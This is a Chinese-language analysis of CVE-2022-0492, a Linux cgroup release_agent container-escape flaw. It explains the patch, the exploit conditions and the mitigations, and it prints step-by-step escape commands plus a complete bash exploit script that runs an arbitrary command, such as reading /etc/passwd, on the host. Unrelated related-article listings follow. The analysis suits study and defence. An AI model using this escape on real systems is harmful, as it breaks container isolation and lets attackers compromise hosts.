[漏洞分析] CVE-2022-0492 容器逃逸漏洞分析
CVE-2022-0492 容器逃逸分析
文章目录
- CVE-2022-0492 容器逃逸分析
- 漏洞简介
- 环境搭建
- 漏洞原理与相关知识
- 漏洞发生点
- cgroup 简介
- cgroup 使用
- release_agent
- unshare 命令
- 漏洞利用
- 利用条件
- 漏洞利用
- 获得CAP_SYS_ADMIN
- mount cgroup与获取容器在宿主机中的路径
- 修改release_agent 触发逃逸
- exp
- 缓解措施
- 参考
github地址: chenaotian/CVE-2022-0492
漏洞简介
漏洞编号: CVE-2022-0492
漏洞产品: linux kernel - cgroup
影响版本: ~linux kernel 5.17-rc3
漏洞危害: 当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机
环境搭建
在存在漏洞版本的内核的linux中使用docker 即可。
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
本文用docker 做为实验环境。
漏洞原理与相关知识
该漏洞的利用方法已经是老面孔了,不过漏洞发生的点在于对修改cgroup 的release_agent缺失权限校验,导致给逃逸利用的门槛进一步降低(以前需要CAP_SYS_ADMIN权限,该漏洞无需CAP_SYS_ADMIN)。具体利用前提的差别看下文"利用条件"。
漏洞发生点
分析补丁,patch 了cgroup_release_agent_write
函数,增加了身份验证。代表cgroup 的release_agent不再允许不具备权限的用户修改了:
所以确定该漏洞为失效的访问控制。
cgroup 简介
cgroup 即Linux Control Group, 是Linux内核的一个功能,用来限制,控制与分离一个进程组群的资源(如CPU、内存、磁盘输入输出等)。
cgroup 有如下子系统:
devices
进程范围设备权限cpuset
分配进程可使用的 CPU数和内存节点cpu
控制CPU占有率cpuacct
统计CPU使用情况,例如运行时间,throttled时间- memory 限制内存的使用上限
freezer
暂停 Cgroup 中的进程net_cls
配合 tc(traffic controller)限制网络带宽net_prio
设置进程的网络流量优先级huge_tlb
限制 HugeTLB 的使用perf_event
允许 Perf 工具基于 Cgroup 分组做性能检测
宿主机中的cgroup 都在/sys/fs/cgroup
下,可以看到各个cgroup 子系统:
docker 中对应的cgroup 子系统就是宿主机中该cgroup 的子节点,docker中查看memory cgroup:
主机docker 目录中的对应容器名节点,一模一样:
cgroup 使用
cgroup 是通过文件系统的形势来使用的,通过mount
将cgroup 挂在到一个目录,cgroup 通过VFS虚拟文件系统和我们交互,cgroup 的接口通过文件的形势呈现,直接使用文件的操作方式对cgroup进行一些参数的设置。
mount -t cgroup -o memory cgroup /tmp/testcgroup
可以通过在目录下创建子目录来创建cgroup 子节点mkdir /tmp/testcgroup/x
。
release_agent
cgroup的每一个subsystem都有参数notify_on_release
,这个参数值是Boolean
型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release
启用(为1),当cgroup不再包含任何任务时(即cgroup 中最后一个进程退出的时候,cgroup的tasks
文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。通过修改notify_on_release 文件的形势修改 notify_on_release
的值。
漏洞发生就位于对release_agent 的修改,在原本只要可以操作cgroup 便可对release_agent 进行修改,而需要CAP_SYS_ADMIN才可以使用cgroup。但后来研究人员发现通过unshare
命令创建新的namespace可以获得全部的capbilities,那么对于CAP_SYS_ADMIN 的限制就不存在了,漏洞利用的门槛一下子降低了很多。
unshare 命令
unshare
命令功能为取消指定的共享父进程中指定的命名空间,然后执行指定的程序并加入新创建的namespace。和我们漏洞利用相关的就是,unshare
新创建的namespace 拥有包括CAP_SYS_ADMIN在内的全部的capbilities。
漏洞利用
本漏洞利用和传统CAP_SYS_ADMIN+cgroup release_agent 逃逸方法相同,但利用条件有所区别。
利用条件
漏洞利用条件和传统release_agent 逃逸的利用条件区别是:
传统release_agent:容器需要有CAP_SYS_ADMIN 并且没有开启 apparmor 、selinux。
cve-2022-0492:容器裸奔(更细化一点就是seccomp 不禁用unshare
,apparmor 不开启cgroup只读,关闭selinux),获得容器内root 权限。无需获得CAP_SYS_ADMIN 。
值得一提的是,docker 的apparmor 默认会开启cgroup 只读,docker 的seccomp 默认是会禁用非CAP_SYS_ADMIN权限下的unshare
。k8s 默认通常是裸奔容器。总之由于利用比较容易,可以在具体场景尝试一下。
漏洞修复后:根据补丁的代码:
想要修改release_agent 文件需要具备两个条件:
- 是根命名空间
- 拥有CAP_SYS_ADMIN cap权限
所以在漏洞修复之后,通过unshare
获得的CAP_SYS_ADMIN 权限不再能修改release_agent 了,因为使用unshare
获得的新命名空间不是根命名空间。但如果容器本身就存在CAP_SYS_ADMIN 权限则还可以继续使用此方式逃逸。
漏洞利用
获得CAP_SYS_ADMIN
如果docker 启动中带有--cap-add=SYS_ADMIN
参数或--privileged
(特权容器),则带有CAP_SYS_ADMIN权限,则不需要我们额外获取,如如下启动命令:
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
带有CAP_SYS_ADMIN 权限的docker 可直接进入下一步"修改release_agent"。启动不带CAP_SYS_ADMIN 权限的docker 并且复现漏洞的命令:
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
没有CAP_SYS_ADMIN,通过如下unshare
命令获得CAP_SYS_ADMIN权限:
unshare -UrmC --propagation=unchanged bash
新获得的命名空间拥有全部的capbilities权限。
mount cgroup与获取容器在宿主机中的路径
将cgroup mount到一个目录,这一步由于用到了mount
,所以需要CAP_SYS_ADMIN 权限,经过上一步,我们或自带CAP_SYS_ADMIN,要么已经通过unshare
获得了CAP_SYS_ADMIN。除此之外,我们还需要在刚mount
的cgroup 中创建一个cgroup节点,方便后续我们做清空task 的操作:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
这里 memory 无法mount
或memory 中没有release_agent 可以换其他cgroup子系统。
通过/etc/mtab
文件可以看到挂载的docker overlay文件系统信息,upperdir
就是容器根目录在宿主机上的绝对路径:
通过如下命令可以获取:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
修改release_agent 触发逃逸
将notify_on_release
设置为1,开启task 进程清空后执行release_agent功能:
echo 1 > /tmp/testcgroup/x/notify_no_release
创建release_agent 触发时执行的文件:
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
修改release_agent ,指向cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径):
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
接下来向x cgroup 节点中输入一个任务,将自己所属的sh 的pid 写入cgroup.procs。
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
sh 命令只执行了一个echo
指令,一瞬间就会结束,那么x cgroup 节点中就没有任何任务了,触发notify_on_release
执行 release_agent 指向的/cmd
文件,内核触发,在容器外执行我们指定的命令,完成逃逸。逃逸成功:
exp
根据流程写了个exp:
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bashsubsys=\$1
mountDir=\$2
host_path=\$3mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
thenmkdir \$mountDir/x
ficd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agentsh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
thenifSysAdmin=1
fiif [ $ifSysAdmin == 1 ]
then echo "[+] You have CAP_SYS_ADMIN!"
elseecho "[-] You donot have CAP_SYS_ADMIN, will try"
fi#try escape
while read -r subsys
doif [ $ifSysAdmin == 1 ]thenif mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then./escape.sh $subsys $mountDir $hostPath echo "[+] Escape Success!"rm -r $mountDircat /resultrm /resultexit 0fielseif unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; thenunshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"echo "[+] Escape Success with unshare!"rm -r $mountDircat /resultrm /resultexit 0fifi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')echo "[-] Escape Fail!"
rm -r $mountDir
直接运行,接一个你想逃逸执行的命令作为参数:如:./exp.sh "cat /etc/passwd"
逃逸成功:
缓解措施
docker 默认状态是开启seccomp 和apparmor 的,漏洞无法逃逸开启默认规则的seccomp 和apparmor 的容器。k8s 默认没有任何安全措施,需要手动开启seccomp 和apparmor 或selinux。
参考
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
除此之外还问了参与挖这个漏洞的人
[漏洞分析] CVE-2022-0492 容器逃逸漏洞分析相关推荐
- 宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...
摘要 在过去几年中,我们在各种容器平台(包括Docker.Podman和Kubernetes)中发现了copy(cp)命令中存在多个漏洞.其中,迄今为止最严重的的一个漏洞是在今年7月被发现和披露的.然 ...
- 容器 root权限运行_【漏洞通告】Containerd容器逃逸漏洞通告 (CVE202015257)
2020年12月1日,Containerd发布更新,修复了一个可造成容器逃逸的漏洞CVE-2020-15257,并公开了相关说明.通过受影响的API接口,攻击者可以利用该漏洞以root权限执行代码,实 ...
- runc容器逃逸漏洞最强后续:应对之策汇总与热点疑问解答
美国时间2019年2月11日晚,runc通过oss-security邮件列表披露了runc容器逃逸漏洞CVE-2019-5736的详情.runc是Docker.CRI-O.Containerd.Kub ...
- 新近爆出的runC容器逃逸漏洞,用户如何面对?
runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI工具,目前Docker引擎内部也是基于runc构建的. 2019年2月11日,研究人员通过oss ...
- 容器安全风险and容器逃逸漏洞实践
本文博客地址:https://security.blog.csdn.net/article/details/128966455 一.Docker存在的安全风险 1.1.Docker镜像存在的风险 不安 ...
- 发现一款容器逃逸漏洞利用神器!
有在关注容器逃逸漏洞,最近在github上发现了一款零依赖Docker/K8s渗透工具包,集成了多个漏洞PoC/EXP,可轻松逃脱容器并接管K8s集群. CDK- 零依赖Docker/K8s渗透工具包 ...
- android 漏洞发布,CVE发布2016年软件漏洞排行榜报告:安卓以523处位居第一
IT之家讯 1月3日消息,近期CVE Details公布了2016年软件漏洞数量最新报告,根据报告显示,漏洞存在数量最多的是安卓系统,以523处漏洞位居第一,排名第二的为Debian Linux系统, ...
- Docker逃逸--runc容器逃逸漏洞(CVE-2019-5736)
漏洞简述: 攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限. 利用条件: Docker版本 & ...
- 【严重】vm2 <3.9.15 沙箱逃逸漏洞(CVE-2023-29017)
漏洞描述 vm2 是一个沙箱,用于在 Node.js 环境中运行不受信任的代码.宿主对象(Host objects)是指由 Node.js 的宿主环境提供的对象,例如全局对象.文件系统或网络请求等. ...
最新文章
- RabbitMQ历史
- 在Visual Studio设置隐藏cmd,GTK程序有效
- 《银翼杀手2049》:活着不只为了“存在”
- ESP8266 wifi模块连接上了热点之后 与服务器建立了tcp连接并进入了透传模式,如果关掉热点wifi模块的tcp连接没有切断,为什么
- 【python】有意思的python小项目GitHub地址汇总
- UNIX TCP回射服务器/客户端之使用epoll模型的服务器
- Vivado设计流程(四)设计综合
- java frame linux_JAVA环境(下) - Android框架简介_Linux编程_Linux公社-Linux系统门户网站...
- db link hang的解决方法
- k8s拉取harbor镜像_Kubernetes-连接Harbor仓库拉取镜像
- 【素材分享】冒险岛 枫叶素材(AI矢量文件+ASS绘图代码+PNG图片)
- Windows DLL 注入技术
- vmware tools的下载
- 深圳腾讯地图地铁站经纬度
- 洛谷p3398仓鼠找suger题解
- 记录腾讯实习生远程面试
- The C++ Frontend
- Android 3D模型展示
- The MegaFace Benchmark-1 Million Faces for Recognition at Scale
- 机器学习+NLP+VR:重塑二手车买车新场景
热门文章
- 硬件电路(4)【设计篇】------------CAF效应导致PCB漏电
- C# 使用EPPlus创建Excel文件
- 数据治理的研究现状及未来展望
- closesocket函数和WSACleanup函数
- php flash 代码转换,PHP实现将优酷土豆腾讯视频html地址转换成flash swf地址的方法...
- JS键盘事件获取键盘码
- Chrome浏览器插件开发入门
- Node.js仓储管理系统的设计与实现 计算机毕设源码24296
- 多线程基础----学而时习之
- connectionStrings appSettings 读取方法